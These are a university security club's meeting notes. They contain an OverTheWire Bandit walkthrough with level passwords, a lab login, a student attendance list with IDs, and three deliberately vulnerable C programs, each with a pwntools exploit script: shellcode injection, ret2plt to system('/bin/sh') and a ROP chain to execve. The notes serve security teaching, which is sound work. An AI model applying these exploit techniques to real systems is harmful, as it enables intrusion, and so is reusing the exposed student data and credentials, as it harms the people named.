108 第八次社課 === ###### tags: `1081` :::success 簽到: B073040047 楊志璿 B063040016 陳垣菘 B083040014 陳昱維 B083040021 嚴宇同 B083011026 蘇彥龍 B083011023 陳又𩑹 M063040019 劉育錡 M083140001 張郢展 M083140005 曾煜鈞 B063040059 陳縵欣 ::: * WPA2 ATTACK 再玩一次投影片:[SCC_ppt](https://docs.google.com/presentation/d/1AkBYZCJw4KTC4DaPQFqPLfS2IL_4NnICuwRQrEClROU/edit?usp=sharing) * [pwn題分析與解題基本方法](https://docs.google.com/presentation/d/1mY-4WevBesrDSf9IbYx8mYa6hKj5jdvn5DbmT48tk_0/edit?usp=sharing):會帶exercise1~3的解題方法 社課共筆 --- 嘎啦嘎拉 ## overthewire ### bandit 10 https://overthewire.org/wargames/bandit/bandit10.html ssh bandit9@bandit.labs.overthewire.org -p2220 密碼:UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR The password for the next level is stored in the file data.txt in one of the few human-readable strings, beginning with several ‘=’ characters. 利用 strings 找檔案 human-readable 的字串 $ strings data.txt 利用 grep 尋找開頭是 “=” 的字串 $ strings data.txt | grep ^= ### bandit 11 ssh bandit10@bandit.labs.overthewire.org -p2220 密碼:truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk 解 Base64 的文字 $ base64 -d data.txt ### bandit12 ssh bandit11@bandit.labs.overthewire.org -p2220 密碼:IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR ## Pwn ssh -p 3001 user@macaca.cool 密碼:Is_l4b_pw 以下三題是i386的題目,64位元下會有些除了變成8個byte以外的不同 此補充一下int 0x80這個組語執行後會參照的[x86 linux syscall](https://syscalls.kernelgrok.com/)的表 ### exercise1 ```clike= #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> char name[10]; void print_input(){ char str[16]; printf("Comment:"); //使用gets寫入區域變數,因此可以stack overflow gets(str); printf("%s say:\n%s\n",name,str); } void main(){ //下面兩行為權限修改 gid_t gid = getegid(); setresgid(gid, gid, gid); //將stdout的buff取消,非必要,只是確保在python裡面send完之後不會因為buff而recv不到東西 setvbuf(stdout,NULL,_IONBF,0); printf("Name:"); //使用gets寫入全域變數,未初始化的全域變數在bss的區段,沒開PIE的話每次執行位址固定 gets(name); print_input(); } ``` ```python= from pwn import * p=process('/home/user/labs/exercise1/vuln') print p.recvuntil(':') #在全域變數中輸入pwntools提供的shellcode,這段shellcode會執行/bin/sh,asm會將shellcode的組語組譯成機器碼 p.sendline(asm(pwnlib.shellcraft.i386.sh())) print p.recvuntil(':') #p32是將整數轉成4個byte的字串,預設是用little endian,例:p32(0x11223344)會變成\x44\x33\x22\x11 #經過gdb可以發現要overflow return address需要先塞0x18個byte padding="A"*0x18 #接下來4個byte為保留下來的舊ebp old_ebp=p32(0) #然後是return address,在這個地方放入用gdb找到的全域變數位址,也就是執行/bin/sh的shellcode ret_adr=p32(0x804c030) p.sendline(padding+old_ebp+ret_adr) p.interactive() ``` ### exercise2 ```clike= #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> char name[10]; //一樣兩個gets,但是開了NX保護,可寫位址不會有執行權限 void do_something(){ char choice[5]; printf("Hello %s\nDO you know Matrix?(yes/no)\n",name); gets(choice); printf("Ok, it's not important\n"); system("sleep 2"); system("cmatrix"); } void main(){ gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdout,NULL,_IONBF,0); printf("Name:"); gets(name); do_something(); } ``` ```python= from pwn import * p=process('/home/user/labs/exercise2/vuln') #elf可以幫忙找執行檔中的一些資訊,更詳細請看document,我也沒有很熟 e=ELF('/home/user/labs/exercise2/vuln') #plt table是動態連結程式中呼叫library函式時跳轉的位址,因此跳轉到這個位址會執行system print hex(e.plt['system']) print p.recvuntil(':') #在全域變數輸入/bin/sh,方便執行system("/bin/sh") p.sendline("/bin/sh") print p.recvuntil('?') #用gdb可以發現要overflow return address需要先塞0xd個位元 padding="A"*0xd #接下來4個byte為保留下來的舊ebp old_ebp=p32(0) #在return address的地方寫下plt中system的位址 ret_adr=p32(e.plt['system']) #因為一般而言是用call system@plt的方式呼叫system,這個動作會push return_address,也就是說進入system@plt時esp上面會放return address #然而ret這個指令類似於pop eip,所以在進入system@plt之後esp上的4個byte會是system的return_address,不過此題用不到 system_ret_adr=p32(0) #作為system的參數,前面輸入的全域變數位址,內容為/bin/sh的字串 binsh=p32(0x804c038) p.sendline(padding+old_ebp+ret_adr+system_ret_adr+binsh) p.interactive() #p.s. 開始與程式互動之後cmatrix仍在執行,所以要輸入q來離開 ``` ### exercise3 ```clike= #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> char nothing[10]="/bin/sh"; //這題當中沒有用到system,而且是靜態連結,所以用簡單的ROP來解 void do_something(){ char str[10]; printf("Just overflow\n"); read(0,str,0x80); } void main(){ gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdout,NULL,_IONBF,0); do_something(); } ``` ```python= from pwn import * p=process('/home/user/labs/exercise3/vuln') #以下gadget可以用gdb-peda中的ropsearch找 popax=0x080aa4b6 popcxbx=0x0806f242 popdx=0x0806f21b int80=0x0806fb80 #/bin/sh是有初始化的全域變數,在data段,可以用objdump -s之後找到data段去找位址 binsh=0x80dc068 #利用上面的gadget依照之前投影片中的教學給各個register賦值,最終就會執行execve("/bin/sh",0,0) padding="A"*0x12 old_ebp=p32(0) rop_chain=p32(popax)+p32(0xb)+p32(popcxbx)+p32(0)+p32(binsh)+p32(popdx)+p32(0)+p32(int80) p.sendline(padding+old_ebp+rop_chain) p.interactive() ``` 頁尾交流區 --- > [name=Sophie] pwn 好難 QAQ